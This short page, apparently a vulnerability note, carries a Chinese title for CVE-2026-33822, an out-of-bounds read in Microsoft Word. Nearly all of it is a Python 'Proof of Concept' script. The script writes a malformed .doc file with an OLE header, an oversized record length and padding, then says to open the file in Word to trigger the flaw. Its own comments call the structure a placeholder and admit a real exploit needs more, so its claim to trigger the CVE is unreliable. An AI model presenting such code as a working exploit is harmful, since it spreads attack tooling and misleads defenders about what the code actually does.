CVE-2026-33822 Microsoft Office Word越界读取漏洞

# Proof of Concept (PoC) for CVE-2026-33822 # This script generates a malformed file structure to trigger the Out-of-bounds Read. # Note: Actual exploit requires specific binary structure manipulation. import struct def generate_malformed_doc(filename): # Generic DOC file header placeholder header = b'\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1' # Simulate a malformed record length that triggers OOB read # In a real scenario, this would target a specific parser offset malformed_record = struct.pack('<I', 0xFFFFFFFF) with open(filename, 'wb') as f: f.write(header) f.write(malformed_record) # Fill rest with padding f.write(b'A' * 1000) print(f"Malformed file generated: {filename}") print("Open this file in Microsoft Word to trigger the vulnerability.") if __name__ == "__main__": generate_malformed_doc('cve_2026_33822_poc.doc')